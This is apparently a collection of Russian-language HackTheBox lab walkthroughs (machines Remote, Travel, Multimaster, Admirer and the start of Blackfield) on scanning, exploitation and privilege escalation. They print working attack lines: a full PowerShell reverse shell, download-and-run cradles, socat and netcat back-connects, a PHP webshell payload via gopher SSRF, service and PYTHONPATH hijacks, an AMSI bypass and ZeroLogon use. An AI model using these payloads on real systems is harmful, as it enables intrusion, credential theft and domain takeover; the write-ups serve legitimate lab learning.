Русский
Русский
English
Статистика
Реклама

Red teaming

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc

05.09.2020 18:14:04 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье копаемся в NSF ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.

10.10.10.180 remote.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21



Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.



Имеем доступные ресурсы, давайте примонтируем данный ресурс.



И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.



Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.





Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.

Entry Point




Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./









После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:





После этого, еще раз проходимся grepом в поисках строк admin и ssmith. И находим хеши для данных пользователей.





И успешно взламываем пароль администратора.



Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.



USER


Во-первых: укажем учетные данные и хост.



Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.



Как только программа отработает, в tcpdump мы увидим пакеты ICMP.





Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)$stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)$sendback = (iex $data 2>&1 | Out-String )$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()


Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server

Изменим нагрузку.



И выполнив, получим бэкконнект.



На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.



ROOT


Посмотрев информацию о пользователе, замечаем интересную привилегию.



Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.



Давайте используем PowerUp для поиска вектора LPE. Для загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks



И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.

Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1

И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"



И получаем бэкконнект.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Travel. MemcacheSSRFRCE, LPE через LDAP

12.09.2020 18:14:51 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разбираемся как с помощью PHP memcache и SSRF получить RCE, копаемся в базе данных и смотрим, чем опасен LDAP администратор.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.189 travel.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A travel.htb -p22,80,443



Таким образом, нам доступны служба SSH и веб-сервер nginx. Из скана видно, для каких DNS предназначен сертификат. Добавим их в /etc/hosts.
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb

Давайте посмотрим данные сайты. На первом находим описание площадки.



На втором интереснее. Сразу видим, что это CMS WordPress, и находим форму поиска.



Быстро проверив сайт с помощью wpscan, ничего не находим. Идем далее и на третий сайт встречает на ошибкой 403. Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html



Находим .git. Мы можем скопировать репозиторий.



Сделать это можно множеством программ, я использую скрипт rip-git.
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/



И в директории текущей директории мы увидим полученные файлы и .git репозиторий.



Используем gitk для работы с .git.



Есть changelog, из которого отмечаем наличие кеша и проверок безопасности.



В файле rss_template.php отмечаем memcache, наличие параметра url и файл debug.



Параметр должен содержать строку custom_feed_url. И скорее по данному адресу произойдет запрос.



RSS страница была на blog.travel.htb.



Запустим локальный веб сервер и обратимся к awesome-rss, передав свой IP в качестве параметра.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120



И наблюдаем, что предположения верны. Стоит отметить, что если url отсутствует, то будет выбран www.travel.htb/newsfeed/customfeed.xml.

Entry point


В README сказано о перемещении этих файлов в wp-content/themes/twentytwenty (на это я обратил внимание при поиске файла debug.php). И файл debug можем найти именно там.





Так, это все интересно и пока не понятно, но похоже на сериализованные данные. Давайте из всей информации соберем единое:
  1. Нам нужно обратиться на сервер и получить feed.xml файл.

  2. В функции, в которую передается url, используется API SimplePie (для которого есть хорошая документация) и memcache. Данная функция вернет объект simplepie.

  3. Функция url_get_contents представлена в template.php. При этом стоит проверка, которая не должна давать нам возможности обращаться к файлам на сервере. Но фильтр SSRF недостаточно корректный, так как обратиться к localhost мы можем и с помощью адресов 127.0.1.1, 127.1, 127.000.0.1 и т.п.

  4. Далее происходит отображение информации из файла feed.xml.
  5. Так же имеется класс TemplateHelper и функция init(), которая записывает переданные данные в указанный файл.


Осталось разобраться в какой файл в директории logs записываются сериализованные данные. Обратимся к документации:



Таким образом, путь интерпретируется как MD5(MD5(url)+":spc"). Проверим это, а для этого скачаем файл xml из дефолтного url.
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml

Теперь обратимся к RSS странице, передав в URL скачанный файл.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml

И получим сериализованные данные.
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php



И теперь по указанной выше формуле рассчитаем интерпретированный путь.



И первые 10 байт совпали! Вот здесь и намечается вектор атаки PHP memcached и SSRF. Поиск в google вывел меня на этот скрипт.



Только нужно будет изменить код под наш случай. Cоздадим сериализованные данные.
 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'

Таким образом, мы запишем код <?php system($_REQUEST[cmd]); в файл ralf.php при десериализации. Больше всего интересует ключ xct_key, который мы уже можем рассчитать.



Тогда получим следующий код для создания нагрузки.
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")return "gopher://127.00.0.1:11211/_" + encodedpayload

И проведем десериализацию.
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)r = requests.get("http://blog.travel.htb/awesome-rss/")

Полный код представлен ниже (как всегда картинкой).





Отлично, давайте кинем нормальный шел. Но так как с python pty возникли проблемы, сделаем бэкконнект шелл с помощью socat. Запустим на клиенте листенер:
socat file:`tty`,raw,echo=0 tcp-listen:4321

И подключимся с сервера:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321



USER


Обычно в таких случаях, следует проверить пользователя базу дынных, при этом используется wordpress. Найдем файл wp-config.php.



С этими учетными данными подключимся к mysql, наша задача найти таблицу wp_users.
mysql -h 127.0.0.1 -u wp -p

Просмотрим базы данных.



Давайте осмотримся в базе wp.





И находим искомую таблицу.



Правда при попытке брутить хеш, получим неудачу. Таких паролей нет. Тогда я загрузил на машину скрипт linpeas и провел базовые перечисления.
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.shchmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh

Ничего особенного, кроме того, что мы в докер контейнере, не находим.



Но данный скрипт не проверяет директорию opt. А так как раз находим бэкап базы данных.



Если посмотрим строки в данном файле, в конце присутствует запись о двух пользователях.



А вот второй, как раз и брутится.



hashcat -a 0 -m 400 wp.hash tools/rockyou.txt



И с найденным паролем подключаемся по ssh.



ROOT


Еще в рабочей директории пользователя находим два интересных файла это .ldaprc и .viminfo.



Давайте посмотрим, что внутри. Таким образом в первом файле находим ldap запись нашего пользователя.



А во втором его ldap пароль.



Проверим его. Вызываем ldapwhoami с опциями -x (простая аутентификация) и -w (пароль).
ldapwhoami -x -w Theroadlesstraveled



Мы видим запись из файла .ldaprc. Давайте запросим информацию.
ldapsearch -x -w Theroadlesstraveled





Таким образом мы получаем список пользователей и узнаем, что являемся LDAP администратором. То есть мы можем создать SSH ключ для любого пользователя, изменить пароль и ввести в группу sudo! Группа sudo 27.



Создадим пару ключей.



Теперь составим файл конфигурации.



Применим их для пользователя frank.
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif



И подключимся по SSH
ssh -i id_rsa frank@travel

А теперь используем sudo со своим паролем.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Multimaster. BurpSqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon

19.09.2020 20:08:00 | Автор: admin

Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.

10.10.10.179 multimaster.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389



С SMB и LDAP ничего сделать не выходит, посмотрим веб.



На сайте есть авторизация, а также форма поиска.



Причем поиск работает по вхождению.



Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.



Получается, что мы имеем SQL инъекцию.



Но вывести хоть что-либо не выходит. Видимо используется WAF.



Но его получилось обойти за счет использования Unicode кодировки.



И находим количество столбцов.





Значит инъекция есть 100%.

Sqlmap + Burp Suite



Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user



И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user

Перехватываем запросы в burp, и видим несколько иное отображение кодировки.



Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.





И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.



Добавим правило, которое в теле запроса будет менять %u на \u.



И удостоверимся, что оно активно.



Теперь снова выполним sqlmap.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user

В Burp наблюдаем уже исправленный запрос.



Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.



Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges



Мы ничего не можем сделать. Узнаем базы данных.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs



Посмотрим таблицы из Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables



То что нужно. Таблица Logins. Извлечем из нее все данные.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump



И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.



Теперь узнаем режимы hashcat, которые мы будем перебирать.



Всего три режима. И используя последнй мы ломаем три хеша.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt



Но данные хеши не подходят для SMB. Копаем дальше.

USER


То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.





И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.





Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.





И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора 500.

Из полученного SID возьмем первые 48 байт.



И добавляем в конец, RID 500 (не забываем перевернуть).





И теперь получим имя учетной записи по нашему SID.





Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.





Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.
for i in range(1100, 9100,1000):    for j in range(50):        h = hex(i+j)[2:].rjust(4,'0')        SID = ""        for c in (h[2:]+h[:2]):            SID += "0x" + hex(ord(c))[2:]        print(SID)

Сохраняем результат в файл и указываем в Burp.



Также выключаем URL кодирование и заменяем все 0x на \u00.



Помним про WAF, ставим один поток и и задержку между запросами.



Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.



Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.



Подключаемся к WinRM и мы в системе.



USER2


Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.



Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.



Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.



Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.



И в глаза бросается VSCode.





Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!



Как следует отсюда:
An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.

Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать cefdebug.



Давайте найдем прослушиваемый порт.



Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"



И видим успешное подключение.



Идем в нашу директорию.





Из всего представленного наибольший интерес представляет API. Давайте скачаем его.





Я перешел в систему Windows и проверил, на чем написана данная библиотека.



Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.



И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"



И забираем еще одного пользователя



USER3


При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью Invoke-AlokS-AvBypass.



Теперь спокойно загружаем на хост sharphound.



И после запуска наблюдаем архив.



Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.



Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.



Давайте получим информацию о связи.





Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство не требовать предварительную аутентификацию Kerberos.



И выполним запрос.



Копируем хеш и ломаем с помощью hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt



Получаем пароль пользователя. И успешно заходим под ним.



ROOT


Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.



Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDaraService.



Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f



И после запуска службы наблюдаем подключение на 4321 порт.
sc.exe start SensorDataService



Мы с правами SYSTEM.

CVE-2020-1472


А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).

По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'



Теперь используем эксплоит.
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179



Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'



А с хешем администратора можем подключиться через WinRM.



В частности, так можно захватить контроллер домена на базе:
всех версий Windows Server 2019, Windows Server 2016;
всех вариантов Windows Server версии 1909;
Windows Server версии 1903;
Windows Server версии 1809 (Datacenter, Standard);
Windows Server 2012 R2;
Windows Server 2012;
Windows Server 2008 R2 Service Pack 1.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды

26.09.2020 22:13:23 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTMLmv html.tar.gz HTML/ cd HTMLtar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql startsudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'create database admirerdb;grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'into table admirerdb.admirertablefields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():        import os        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

03.10.2020 18:20:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192 blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.19



И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2



Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.

